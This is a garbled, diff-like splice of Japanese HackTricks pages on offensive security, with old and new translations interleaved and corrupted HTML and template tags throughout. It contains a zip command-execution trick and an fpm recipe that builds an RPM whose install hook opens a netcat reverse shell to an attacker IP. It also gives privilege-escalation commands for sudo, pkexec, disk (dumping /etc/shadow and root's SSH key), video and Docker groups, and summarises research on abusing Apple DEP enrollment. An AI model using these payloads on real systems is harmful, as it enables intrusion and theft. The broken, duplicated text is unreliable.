その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います(それが `@root.txt` の存在が示すことですそして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込み、**このファイルの内容がファイルのリストでないため、エラーをスローします** その内容を表示します。
_詳細はHackTheBoxのCTFのWrite-upsにあります。_
_詳細は HackTheBox CTF ボックス Write-ups にあります。_
## Zip
**任意のコマンドを実行:**
**任意のコマンドを実行する:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
<details>
{% hnt stye="acceas" %}
AWS ハッキングの実践:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
GCP の学習 & 実践<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<dtil>
HackTricksをサポートする他の方法
<ummr>SupportHackTricks</smmay>
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**GitHubでのサブスクリプション**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!haktick\_ive\
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,40 +1,87 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
yumに関するさらなる例は、[gtfobins](https://gtfobins.github.io/gtfobins/yum/) で見つけることができます。
yumに関するさらなる例は[gtfobins](https://gtfobins.github.io/gtfobins/yum/)で見つけることができます。
# RPMパッケージを介した任意のコマンドの実行
# RPMパッケージを介して任意のコマンドを実行する
## 環境の確認
このベクトルを活用するためには、ユーザーが高い特権を持つユーザーとしてyumコマンドを実行できる必要があります。つまり、rootユーザーである必要があります。
このベクターを利用するためには、ユーザーが特権の高いユーザー、つまりrootとしてyumコマンドを実行できる必要があります。
### このベクトルの動作例
この脆弱性の動作例は、[tryhackme](https://tryhackme.com) の [daily bugle](https://tryhackme.com/room/dailybugle) ルームで見つけることができます。
### このベクターの動作例
このエクスプロイトの動作例は、[tryhackme](https://tryhackme.com)の[daily bugle](https://tryhackme.com/room/dailybugle)ルームで見つけることができます。
## RPMのパッケージング
次のセクションでは、[fpm](https://github.com/jordansissel/fpm) を使用してRPMに逆シェルをパッケージ化する方法について説明します。
## RPMのパッング
次のセクションでは、[fpm](https://github.com/jordansissel/fpm)を使用してリバースシェルをRPMにパッケージ化する方法を説明します。
以下の例では、攻撃者が定義できる任意のスクリプトを持つ before-install トリガーを含むパッケージを作成します。このパッケージをインストールすると、任意のコマンドが実行されます。デモンストレーション用にシンプルな逆ネットキャットシェルの例を使用しましたが、必要に応じて変更できます。
以下の例では、攻撃者が定義できる任意のスクリプトを含むbefore-installトリガーを持つパッケージを作成します。このパッケージがインストールされると、任意のコマンドが実行されます。デモ用にシンプルなリバースnetcatシェルの例を使用しましたが、必要に応じて変更できます。
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# シェルを取得する
上記の例を使用し、`yum`を特権のあるユーザーとして実行できると仮定します。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
1. ホストにrpmを**転送**します
2. ローカルホストで[例のnetcatリスナー](/shells/shells/linux#netcat)などを**起動**します
3. 脆弱なパッケージをインストールします `yum localinstall -y exploited-1.0-1.noarch.rpm`
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Sudo/Admin グループ
## **PE - 方法1**
## **PE - メソッド 1**
**時々**、**デフォルトで \(またはあるソフトウェアが必要とするために\)** **/etc/sudoers** ファイルの中にこれらの行のいくつかが見つかることがあります:
**時々**、**デフォルトで \(またはいくつかのソフトウェアが必要とするため\)** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -25,37 +26,35 @@ HackTricks をサポートする他の方法:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
これは、**sudoまたはadminグループに属するユーザーはsudoとして何でも実行できる**ことを意味します。
これは、**sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
この場合、**rootになるには単に実行するだけです**:
この場合、**rootになるには、単に次を実行すればよい**:
```text
sudo su
```
## PE - 方法2
## PE - Method 2
すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるかどうかを確認します:
すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるか確認します:
```bash
find / -perm -4000 2>/dev/null
```
もしバイナリpkexecがSUIDバイナリであり、sudoまたはadminに所属している場合、pkexecを使用してsudoとしてバイナリを実行できる可能性があります。
次の内容を確認してください:
もしバイナリ pkexec が SUID バイナリであり、あなたが sudo または admin に属している場合、pkexec を使用して sudo としてバイナリを実行できる可能性があります。以下の内容を確認してください:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
以下では、どのグループが**pkexec**を実行することが許可されており、そして**デフォルトで**いくつかのLinuxには**sudo**や**admin**のグループが登録されていることがあります。
そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxに**表示される**グループが**sudoまたはadmin**であるかを見つけることができます。
**rootになるためには、次のコマンドを実行します**:
**rootになるには、次のコマンドを実行できます**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
**Translation:**
もし**pkexec**を実行しようとして、この**エラー**が表示された場合:
もし**pkexec**を実行し、この**エラー**が表示された場合:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**権限がないわけではなく、GUIなしで接続されていないため**です。この問題には回避策があります: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**異なる2つのsshセッション**が必要です:
**GUIがないために接続されていないのではなく、権限がないからではありません**。この問題の回避策はここにあります: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です:
{% code title="session1" %}
```bash
@ -74,27 +73,29 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
# Wheel Group
**時々**、**デフォルトで**、**/etc/sudoers**ファイルの中にこの行が見つかることがあります:
**時々**、**デフォルトで** **/etc/sudoers** ファイル内にこの行を見つけることができます:
```text
%wheel ALL=(ALL:ALL) ALL
```
これは、**wheelグループに属するユーザーはsudoとして何でも実行できる**ことを意味します。
これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
この場合、**rootになるにはに実行するだけです**:
この場合、**rootになるには次のように実行するだけです**:
```text
sudo su
```
# シャドウグループ
# Shadow Group
**group shadow**のユーザーは**/etc/shadow**ファイルを**読む**ことができます。
**shadow** グループのユーザーは **/etc/shadow** ファイルを **読む** ことができます:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
## ディスクグループ
So, read the file and try to **crack some hashes**.
この権限は、マシン内のすべてのデータにアクセスできるため、ほぼ**rootアクセスに等しい**です。
# ディスクグループ
ファイル:`/dev/sd[a-z][1-9]`
この特権はほぼ **ルートアクセスと同等** であり、マシン内のすべてのデータにアクセスできます。
ファイル: `/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -102,39 +103,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
debugfsを使用して**ファイルを書き込む**こともできます。たとえば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします:
注意として、debugfsを使用すると**ファイルを書き込む**こともできます。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
しかし、**rootが所有するファイルを書き込もうとする**と(例:`/etc/shadow`や`/etc/passwd`)、**Permission denied**エラーが発生します。
しかし、**rootが所有するファイル**(例えば`/etc/shadow`や`/etc/passwd`)に書き込もうとすると、"**Permission denied**"エラーが発生します。
# Video Group
コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、以下のような出力が表示されます:
コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、のような出力が表示されます:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**は、ユーザー**yossiがマシンの端末に物理的にログイン**していることを意味します。
**tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。
**videoグループ**は、画面出力を表示する権を持っています。基本的に、画面を観察することができます。これを行うためには、画面上の現在のイメージを生データで取得し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。
**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。それを行うには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存され、解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
**ルートグループ**
**生の画像**を**開く**には、**GIMP**を使用し、**`screen.raw`**ファイルを選択し、ファイルタイプとして**Raw image data**を選択します:
デフォルトでは、**ルートグループのメンバー**は、特権を昇格させるのに使用できる**一部のサービス**構成ファイルや**ライブラリ**ファイル、または**その他の興味深いもの**を変更できる可能性があります...
![](../../.gitbook/assets/image%20%28208%29.png)
**ルートメンバーが変更できるファイルを確認**します:
次に、幅と高さを画面で使用されているものに変更し、異なる画像タイプを確認して(画面をより良く表示するものを選択します):
![](../../.gitbook/assets/image%20%28295%29.png)
# ルートグループ
デフォルトでは、**ルートグループのメンバー**は、**サービス**の設定ファイルや**ライブラリ**ファイル、または特権昇格に使用できる**その他の興味深いもの**を**変更**するアクセス権を持っているようです...
**ルートメンバーが変更できるファイルを確認する**
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker Group
ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできるため、インスタンスが起動するとすぐにそのボリュームに `chroot` をロードします。これにより、実質的にマシンで root 権限を取得できます。
ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。インスタンスが起動すると、そのボリュームに`chroot`を即座にロードします。これにより、実質的にマシン上でルート権限を得ることができます。
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
@ -142,20 +151,19 @@ find / -group root -perm -g=w 2>/dev/null
# lxc/lxd Group
[lxc - 特権昇格](lxd-privilege-escalation.md)
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,66 +1,94 @@
# 他の組織へのデバイス登録
# 他の組織へのデバイスの登録
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローしてください
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## イントロ
[**以前にコメントされたように**](./#what-is-mdm-mobile-device-management)、組織にデバイスを登録しようとするためには、**その組織に属するシリアル番号だけが必要**です。デバイスが登録されると、新しいデバイスには証明書、アプリケーション、WiFiパスワード、VPN構成などの機密データがいくつかの組織にインストールされます。\
したがって、登録プロセスが適切に保護されていない場合、これは攻撃者にとって危険なエントリーポイントとなり得ます。
[**以前にコメントたように**](./#what-is-mdm-mobile-device-management)**、デバイスを組織に登録するためには、**その組織に属するシリアル番号のみが必要です**。デバイスが登録されると、いくつかの組織が新しいデバイスに機密データをインストールします証明書、アプリケーション、WiFiパスワード、VPN設定[など](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
したがって、登録プロセスが適切に保護されていない場合、これは攻撃者にとって危険な入り口となる可能性があります。
**以下は、[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)の研究の要約です。詳細な技術的詳細については、そちらをご確認ください!**
**以下は、研究の要約です [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。さらなる技術的詳細については確認してください!**
## DEPおよびMDMバイナリ析の概要
## DEPおよびMDMバイナリ析の概要
この研究は、macOS上のデバイス登録プログラムDEPおよびモバイルデバイス管理MDMに関連するバイナリに焦点を当てています。主要なコンポーネントには次のものがあります:
この研究は、macOS上のデバイス登録プログラムDEPおよびモバイルデバイス管理MDMに関連するバイナリに深く掘り下げています。主要なコンポーネントは以下の通りです:
- **`mdmclient`**macOSバージョン10.13.4より前でMDMサーバーと通信し、DEPチェックインをトリガーします。
- **`mdmclient`**MDMサーバーと通信し、macOSバージョン10.13.4以前でDEPチェックインをトリガーします。
- **`profiles`**構成プロファイルを管理し、macOSバージョン10.13.4以降でDEPチェックインをトリガーします。
- **`cloudconfigurationd`**DEP API通信を管理し、デバイス登録プロファイルを取得します。
DEPチェックインは、`CPFetchActivationRecord`および`CPGetActivationRecord`関数がプライベート構成プロファイルフレームワークからActivation Recordを取得するために使用され、`CPFetchActivationRecord`はXPCを介して`cloudconfigurationd`と連携します。
DEPチェックインは、プライベート構成プロファイルフレームワークからの`CPFetchActivationRecord`および`CPGetActivationRecord`関数を利用してアクティベーションレコードを取得し、`CPFetchActivationRecord`がXPCを介して`cloudconfigurationd`と調整します。
## TeslaプロトコルおよびAbsintheスキームのリバースエンジニアリング
## テスラプロトコルとアブサンシスケームのリバースエンジニアリング
DEPチェックインは、`cloudconfigurationd`が暗号化された署名付きJSONペイロードを_iprofiles.apple.com/macProfile_に送信ます。ペイロードにはデバイスのシリアル番号とアクション「RequestProfileConfiguration」が含まれます。使用される暗号化スキームは内部的に「Absinthe」と呼ばれます。このスキームを解明するには複数のステップが必要であり、Activation Recordリクエストに任意のシリアル番号を挿入するための代替手法を探ることにりました。
DEPチェックインは、`cloudconfigurationd`が暗号化された署名付きJSONペイロードを_iprofiles.apple.com/macProfile_に送信することを含みます。ペイロードにはデバイスのシリアル番号と「RequestProfileConfiguration」というアクションが含まれています。使用される暗号化スキームは内部的に「Absinthe」と呼ばれています。このスキームを解明することは複雑であり、多くのステップを含むため、アクティベーションレコードリクエストに任意のシリアル番号を挿入するための代替手法を探ることになりました。
## DEPリクエストのプロキシ
Charles Proxyなどのツールを使用して_iprofiles.apple.com_へのDEPリクエストを傍受および変更しようとする試みは、ペイロードの暗号化とSSL/TLSセキュリティ対策によって妨げられました。ただし、`MCCloudConfigAcceptAnyHTTPSCertificate`構成を有効にすると、サーバー証明書の検証をバイパスできますが、ペイロードの暗号化された性質により、復号鍵なしでシリアル番号を変更することはできません
Charles Proxyのようなツールを使用して_iprofiles.apple.com_へのDEPリクエストを傍受し、変更しようとする試みは、ペイロードの暗号化とSSL/TLSセキュリティ対策によって妨げられました。しかし、`MCCloudConfigAcceptAnyHTTPSCertificate`構成を有効にする、サーバー証明書の検証をバイパスすることができますが、ペイロードの暗号化された性質により、復号化キーなしでシリアル番号を変更することは依然として不可能です
## DEPとやり取りするシステムバイナリのインストゥルメンテーション
## DEPと相互作用するシステムバイナリの計測
`cloudconfigurationd`などのシステムバイナリをインストゥルメンテーションするには、macOSでSystem Integrity ProtectionSIPを無効にする必要があります。SIPを無効にすると、LLDBのようなツールを使用してシステムプロセスにアタッチし、DEP APIとのやり取りで使用されるシリアル番号を変更する可能性があります。この方法は、権限コード署名の複雑さを回避できるため、好ましい方法です。
`cloudconfigurationd`のようなシステムバイナリを計測するには、macOSでシステム整合性保護SIPを無効にする必要があります。SIPが無効になっていると、LLDBのようなツールを使用してシステムプロセスにアタッチし、DEP APIとの相互作用で使用されるシリアル番号を変更する可能性があります。この方法は、権限コード署名の複雑さを回避できるため、好ましいです。
**バイナリインストゥルメンテーションの悪用:**
`cloudconfigurationd`でJSONシリアル化前にDEPリクエストペイロードを変更することが効果的であることがされました。このプロセスには以下が含まれます:
**バイナリ計測の悪用:**
`cloudconfigurationd`でJSONシリアル化前にDEPリクエストペイロードを変更することが効果的であることが証明されました。このプロセスには以下が含まれます:
1. `cloudconfigurationd`にLLDBをアタッチす
2. システムシリアル番号が取得されるポイントを特定す
3. ペイロードが暗号化および送信される前にメモリに任意のシリアル番号を挿入する
1. `cloudconfigurationd`にLLDBをアタッチします。
2. システムシリアル番号が取得されるポイントを特定します。
3. ペイロードが暗号化されて送信される前に、メモリに任意のシリアル番号を注入します
この方法により、任意のシリアル番号の完全なDEPプロファイルを取得することが可能であり、潜在的な脆弱性が示されました。
この方法により、任意のシリアル番号に対して完全なDEPプロファイルを取得できることが示され、潜在的な脆弱性が明らかになりました。
### Pythonを使用したインストゥルメンテーションの自動化
### Pythonによる計測の自動化
LLDB APIを使用して、Pythonを使用して悪用プロセスを自動化し、任意のシリアル番号をプログラムで挿入し、対応するDEPプロファイルを取得することが可能になりました。
悪用プロセスは、LLDB APIを使用してPythonで自動化され、任意のシリアル番号をプログラム的に注入し、対応するDEPプロファイルを取得することが可能になりました。
### DEPおよびMDMの脆弱性の潜在的影響
### DEPおよびMDMの脆弱性の潜在的影響
研究は重要なセキュリティ上の懸念を示しました:
この研究は、重要なセキュリティ上の懸念を浮き彫りにしました:
1. **情報漏洩**DEPに登録されたシリアル番号を提供することで、DEPプロファイルに含まれる機密組織情報を取得できます。
2. **不正なDEP登録**適切な認証がない場合、DEPに登録されたシリアル番号を持つ攻撃者は、組織のMDMサーバーに不正なデバイスを登録し、機密データやネットワークリソースにアクセスできる可能性があります。
1. **情報漏洩**DEPに登録されたシリアル番号を提供することで、DEPプロファイルに含まれる機密の組織情報を取得できます。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
